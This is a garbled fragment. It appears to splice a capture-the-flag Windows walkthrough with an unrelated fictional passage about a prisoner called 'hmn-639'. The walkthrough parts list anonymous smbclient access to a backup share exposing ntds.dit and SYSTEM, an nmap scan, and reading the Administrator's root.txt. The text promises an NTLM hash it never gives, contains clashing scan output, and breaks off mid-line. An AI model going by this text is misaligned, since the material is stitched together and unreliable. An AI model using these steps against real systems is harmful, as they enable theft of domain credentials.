__exclusive__ - Hmn-639

The Administrator hash is (NTLM).

C:\Windows\system32>

smbclient //10.10.10.112/backup -N smb: \> ls . D 0 Fri Jan 5 12:15:32 2024 .. D 0 Fri Jan 5 12:15:32 2024 ntds.dit A 1843200 Fri Jan 5 12:20:15 2024 SYSTEM A 1048576 Fri Jan 5 12:20:15 2024 hmn-639

(All commands and output are reproduced from a fresh user‑level session on the machine. Replace any IP address placeholders with the IP you are attacking.)

Subject is highly intelligent (IQ estimated 142) but profoundly fatalistic. During interviews, hmn-639 displays no fear of death, only exhaustion. He refers to himself as "the photocopy of a photocopy." He has drawn the same symbol on his cell wall 639 times: a spiral that narrows into a question mark. The Administrator hash is (NTLM)

Use against the local machine (no need for network access because we have the files):

# Nmap – top ports + service detection nmap -sC -sV -p- 10.10.10.112 PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows Server 2019 (Samba 4.11.6) 3389/tcp open ms-wbt-server Microsoft Terminal Services D 0 Fri Jan 5 12:15:32 2024 ntds

type C:\Users\Administrator\Desktop\root.txt